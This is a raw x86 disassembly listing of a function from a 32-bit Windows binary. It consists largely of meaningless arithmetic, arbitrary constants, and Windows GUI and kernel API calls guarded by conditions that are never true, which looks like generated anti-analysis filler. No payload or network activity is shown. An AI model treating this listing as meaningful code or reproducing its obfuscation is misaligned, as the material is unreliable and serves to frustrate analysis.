cmp ecx, dword [ebp - 0x44]
jg 0x100311e4
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x44], eax
je 0x100311e6
mov ecx, ebx
mov eax, dword [ebp - 0xea4]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0xea4]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xea4]
cmp eax, 0x5dbf6070
setne cl
imul eax, ecx, 0xda4a
mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
sub eax, 9
add eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
cmp eax, 0x5bb7
jle 0x10031257
mov ecx, ebx
jmp 0x1003125b
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x14]
imul eax, ecx
lea ecx, [ebp - 0xd78]
mov dword [ebp - 0x20], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001731e
jmp 0x10031282
mov dword [ebp - 0x40], 0xd60280e4
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x54], eax
push ebx
lea ecx, [ebp - 0x168]
call fcn.100172b6
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x10], 0x2ba167c2
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x40], 0xf6a1c3d0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100312dc
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x168]
call fcn.10017323
mov dword [eax], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100312be
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jl 0x10031448
mov dword [ebp - 0x14], 0x7006986d
lea ecx, [ebp - 0x168]
push 8
pop esi
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x38]
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x38]
call fcn.10017323
push dword [ebp - 0x38]
lea ecx, [ebp - 0x168]
call fcn.10017323
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp ecx, esi
lea ecx, [ebp - 0x168]
setne dl
imul edx, dword [eax]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor eax, eax
push eax
call fcn.10017323
push dword [ebp - 0x38]
lea ecx, [ebp - 0x168]
call fcn.10017323
push dword [ebp - 0x38]
lea ecx, [ebp - 0x168]
mov esi, eax
call fcn.10017323
mov ecx, dword [esi]
sub ecx, dword [eax]
je 0x10031378
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003137a
mov eax, ebx
jmp 0x1003137a
xor eax, eax
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x168]
push dword [ebp - 0x38]
call fcn.10017323
mov edx, dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp - 0x28]
cmp edx, ecx
lea ecx, [ebp - 0x168]
setge bl
sub ebx, dword [eax]
xor eax, eax
push eax
call fcn.10017323
sub ebx, dword [eax]
je 0x100313da
push dword [ebp - 0x38]
lea ecx, [ebp - 0x168]
call fcn.10017323
cmp dword [eax], 0
je 0x100313da
xor eax, eax
mov dword [ebp - 0x24], 0xed09
mov dword [ebp - 0x10], eax
jmp 0x100313d3
dec dword [ebp - 0x40]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x100313cd
jmp 0x10031425
xor eax, eax
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.10017323
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x168]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10017323
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0xfffffffc
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setge al
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031437
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
dec dword [ebp - 0x38]
push 1
pop ebx
jns 0x100312e8
push 2
xor eax, eax
pop esi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031458
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168]
call fcn.1001731e
mov dword [ebp - 0x10], 3
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], 0x1a93
mov dword [ebp - 0x24], 0xfc35327
mov dword [ebp - 0x24], 0xb5cb1beb
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0x5227
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x1c], eax
jmp 0x100314ab
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbec], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003149e
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
cmp eax, edx
mov eax, dword [ebp - 0x10]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp dword [ebp - 0x10], ecx
jl 0x10031559
mov dword [ebp - 0x40], 0x2f63069b
mov dword [ebp - 0x40], 0xcd021aa2
mov dword [ebp - 0x1c], eax
jmp 0x10031510
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2b8], 0x335c22c9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100314ff
dec dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 0x1d981
setne cl
xor eax, eax
cmp ecx, 0x4dbf0cf
setle al
cmp eax, ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x40], eax
jmp 0x1003162c
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0xd90]
push 8
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xfffffffb
push esi
call fcn.100172b6
mov dword [ebp - 4], 7
lea ecx, [ebp - 0xc00]
mov dword [ebp - 0x24], 0xc2f00273
mov dword [ebp - 0x24], 0xd777
mov dword [ebp - 0x24], 0x5a46e494
push 4
call fcn.100172b6
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x100315cf
push dword [ebp - 0x38]
lea ecx, [ebp - 0xd90]
call fcn.10017323
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x100315b1
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x100315f7
push dword [ebp - 0x38]
lea ecx, [ebp - 0xc00]
call fcn.10017323
mov dword [eax], 0x827cf573
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x100315d8
xor eax, eax
inc dword [ebp - 0x40]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031612
push eax
push eax
call edi
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
lea ecx, [ebp - 0xc00]
call fcn.1001731e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd90]
call fcn.1001731e
mov dword [ebp - 0x44], 9
xor eax, eax
mov dword [ebp - 0x38], 0x57b5bf2d
xor ecx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], 0xfe21dabe
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x44]
cmp eax, ebx
setg cl
xor eax, eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jne 0x1003166e
mov edx, eax
cmp dword [ebp - 0x38], eax
je 0x10031670
mov edx, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x1b6e
setl al
add eax, 6
jne 0x1003168d
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, 0x75ff4442
je 0x100316b7
mov ecx, ebx
cmp dword [ebp - 0x38], eax
jne 0x100316b9
mov ecx, eax
mov eax, dword [ebp - 0x38]
add eax, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0x18
jmp 0x100317f6
mov dword [ebp - 0x40], 0xf2c0e848
lea ecx, [ebp - 0x53c]
push 4
call fcn.100172b6
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x20], 0xe98c5348
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jge 0x10031711
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x5d0], 0xfdfd
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x100316f9
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x10031739
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x53c]
call fcn.10017323
mov dword [eax], 6
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 4
jl 0x1003171a
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1003174f
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x550], 0xfb6c7178
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jl 0x1003173e
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x53c]
mov eax, 0x694
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
push ebx
call fcn.10017323
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x53c]
mov eax, dword [ebp - 0x10]
push ebx
call fcn.10017323
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x53c]
mov eax, dword [ebp - 0x38]
push ebx
call fcn.10017323
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x550]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x100317e4
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100317df
push eax
push eax
push 0x1ec2
call edi
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x100317c4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x53c]
call fcn.1001731e
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe3
jge 0x100316cd
push 8
pop eax
mov dword [ebp - 0x58], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xda115252
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x40], 0xdf8e3bf1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031839
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x84], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031825
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jg 0x100318b5
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x84], 0
jne 0x100318a0
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x84]
cmp eax, 0x1139da47
mov eax, dword [ebp - 0x3c]
setge cl
xor edx, edx
add ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x84]
cmp ecx, ebx
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x10031841
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x15
jg 0x10031968
mov dword [ebp - 0x1c], ebx
xor ecx, ecx
mov dword [ebp - 0x14], 0x84edb553
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0x1c]
setl cl
or edx, 0xffffffff
sub edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x84]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x84]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x84]
setne bl
xor ecx, ecx
cmp ebx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031956
push eax
push eax
push 0x2706
push 0x59e
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x15
push 1
pop ebx
jle 0x100318c2
xor eax, eax
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x68c]
push 4
call fcn.100172b6
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100319b0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x68c]
call fcn.10017323
mov dword [eax], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10031991
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031aac
mov dword [ebp - 0x40], 0xffffffff
push dword [ebp - 0x10]
call fcn.10017323
cmp dword [eax], 0
je 0x10031a27
mov dword [ebp - 0x28], 0x7a888ada
xor eax, eax
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], eax
jl 0x10031aa9
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x10031a1d
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031a18
push 0x12df
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x100319f8
dec dword [ebp - 0x28]
jns 0x100319e5
jmp 0x10031aa9
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031a45
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3e4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031a31
xor eax, eax
mov dword [ebp - 0x3e4], 3
cmp dword [ebp - 0x3e4], eax
jl 0x10031a8e
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031a86
push 0x11d5
push 0xc56
push 0x10eb
push 0x234b
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
xor eax, eax
dec dword [ebp - 0x3e4]
jns 0x10031a57
push dword [ebp - 0x10]
lea ecx, [ebp - 0x68c]
call fcn.10017323
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp dword [eax], ecx
setl dl
mov dword [ebp - 0x40], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0x68c]
jle 0x100319b8
or dword [ebp - 4], 0xffffffff
call fcn.1001731e
mov dword [ebp - 0x48], 0x470ed99e
xor eax, eax
mov dword [ebp - 0x1c], 0x25b9b55b
push 8
mov dword [ebp - 0x24], 0x9351f200
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x10031b06
mov dword [ebp - 0x40], 0xbe18
dec dword [ebp - 0x40]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031b03
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 8
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10031ae4
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x98c]
mov dword [ebp - 0x3c], 0x22a1
mov dword [ebp - 0x20], 0x5ccc90a3
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x14], 0xad67a4be
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], eax
push 4
call fcn.100172b6
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x48], 0xc12a7b09
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x10031b7c
push dword [ebp - 0x38]
lea ecx, [ebp - 0x98c]
call fcn.10017323
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x10031b5d
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x10031b9e
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x71c], 0xacff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x10031b85
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10031ba8
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10031bb4
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x10031bb6
mov edx, ebx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x718]
setge cl
dec dword [ebp - 0x718]
cmp eax, ecx
jg 0x10031bd6
mov eax, dword [ebp - 0x718]
push 3
lea ecx, [ebp - 0x98c]
call fcn.10017323
mov ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
or dword [ebp - 4], 0xffffffff
inc ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x98c]
call fcn.1001731e
push 4
lea ecx, [ebp - 0xa4c]
call fcn.100172b6
mov dword [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x14], 0x2fe22364
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10031c3d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1394], 0xb55b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10031c24
xor eax, eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x10031ca9
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031c81
push 0xb79
push 0x25bc
push 0x174e
push 0xc5b
push 0x1501
push 0x1e25
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031c9f
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031c9c
push 0xc17
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10031c86
dec dword [ebp - 0x14]
jns 0x10031c45
mov dword [ebp - 0x40], 0xbfedaacd
lea ecx, [ebp - 0x118]
push esi
call fcn.100172b6
mov byte [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x14], 0x9b58331c
mov dword [ebp - 0x40], 0xdf8e3bf1
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031cf9
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x118]
call fcn.10017323
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031cdf
xor eax, eax
push eax
lea ecx, [ebp - 0x118]
call fcn.10017323
cmp dword [eax], 0
je 0x10031d64
push ebx
lea ecx, [ebp - 0x118]
call fcn.10017323
mov esi, eax
lea ecx, [ebp - 0x118]
xor eax, eax
push eax
call fcn.10017323
xor ebx, ebx
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x118]
setle bl
xor eax, eax
inc eax
push eax
call fcn.10017323
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor ebx, ebx
inc ebx
cmp ecx, 3
jle 0x10031d64
push ebx
lea ecx, [ebp - 0x118]
call fcn.10017323
cmp dword [eax], 0
je 0x10031d64
mov esi, ebx
xor eax, eax
jmp 0x10031d68
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x118]
call fcn.10017323
xor eax, eax
lea ecx, [ebp - 0x118]
push eax
call fcn.10017323
xor ecx, ecx
cmp esi, dword [eax]
setne cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x118]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.10017323
xor eax, eax
lea ecx, [ebp - 0x118]
push eax
call fcn.10017323
xor eax, eax
lea ecx, [ebp - 0x118]
push eax
call fcn.10017323
mov ecx, dword [ebp - 0x14]
push ebx
add ecx, dword [eax]
imul esi, ecx, 0x2dc6a476
lea ecx, [ebp - 0x118]
call fcn.10017323
lea ecx, [ebp - 0x118]
mov edi, dword [eax]
xor eax, eax
push eax
sub edi, esi
call fcn.10017323
xor ecx, ecx
cmp edi, dword [eax]
setg cl
xor eax, eax
cmp ecx, 0xd022
setle al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031e11
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0xc
call fcn.1001731e
mov dword [ebp - 0x40], 0x51938d10
xor eax, eax
mov dword [ebp - 0x40], eax
push 2
mov dword [ebp - 0x50], 0x2c03342e
mov dword [ebp - 0x40], 0x8d0336d0
pop edi
mov dword [ebp - 0x50], 0x1b
cmp dword [ebp - 0x50], 0xffffffe6
push 3
pop esi
je 0x10031fd3
push 4
lea ecx, [ebp - 0x198]
call fcn.100172b6
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], 0x31966c47
mov dword [ebp - 0x1c], eax
jmp 0x10031e84
push dword [ebp - 0x1c]
call fcn.10017323
mov dword [eax], 0x45307222
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
lea ecx, [ebp - 0x198]
jl 0x10031e73
push edi
call fcn.10017323
push edi
lea ecx, [ebp - 0x198]
call fcn.10017323
push ebx
lea ecx, [ebp - 0x198]
call fcn.10017323
mov dword [ebp - 0x48], esi
lea ecx, [ebp - 0x198]
push ebx
call fcn.10017323
mov ecx, dword [ebp - 0x48]
xor ebx, ebx
push edi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x198]
setle bl
call fcn.10017323
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
imul edx, ebx
xor ebx, ebx
cmp edx, ecx
lea ecx, [ebp - 0x198]
setl bl
sub ebx, dword [eax]
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10017323
push edi
lea ecx, [ebp - 0x198]
mov eax, dword [eax]
imul eax, ebx
mov dword [ebp - 0x10], eax
call fcn.10017323
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x198]
setg bl
xor eax, eax
push eax
call fcn.10017323
xor ecx, ecx
push edi
cmp ebx, dword [eax]
setg cl
sub ecx, 0xfffffffb
neg ecx
sbb ecx, ecx
add ecx, 0x5343
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x198]
call fcn.10017323
mov ecx, dword [ebp - 0x40]
cmp dword [eax], ecx
jne 0x10031f63
mov dword [ebp - 0x48], 0x477ae271
mov dword [ebp - 0x40], 0x2f4e55b6
jmp 0x10031f83
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031f85
push eax
push 0x442
push 0x174d
push 0x2191
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031fad
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031f99
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x198]
call fcn.10017323
inc dword [ebp - 0x10]
push 0
pop eax
cmp dword [ebp - 0x10], esi
jle 0x10031f8a
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xc
call fcn.1001731e
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe6
push 1
pop ebx
jne 0x10031e51
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x10031ffd
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031ffa
push 0x844
push 0x2699
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
xor eax, eax
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xfffffffa
je 0x10031fd8
mov ecx, 0x95b676b
mov dword [ebp - 0xaa8], ecx
mov dword [ebp - 0xaa4], ecx
mov dword [ebp - 0xaa0], ecx
mov dword [ebp - 0xa9c], ecx
lea ecx, [ebp - 0x6a4]
mov dword [ebp - 0x2c], 0xbe1d925b
mov dword [ebp - 0x10], 0x4fc2285f
mov dword [ebp - 0x54], 5
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x1c], eax
push edi
call fcn.100172b6
mov byte [ebp - 4], 0xf
mov eax, 0xfffb
mov dword [ebp - 0x20], 0x3497140d
mov dword [ebp - 0x44], 0x3393d3
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
jge 0x10032087
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1b0], 0xf2e5664d
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x1003206f
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x100320a3
push dword [ebp - 0x38]
lea ecx, [ebp - 0x6a4]
call fcn.10017323
mov dword [eax], 0xe376
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x1003208c
mov eax, dword [ebp - 0x2c]
inc dword [ebp - 0x2c]
dec eax
je 0x100320c2
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x10], eax
jmp 0x10032183
xor eax, eax
mov dword [ebp - 0x48], 0xb8d96378
mov dword [ebp - 0x10], eax
jmp 0x1003217a
mov dword [ebp - 0x14], 0x9da97273
mov dword [ebp - 0x40], 0x15e0c0a
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x10032177
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10032136
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x40]
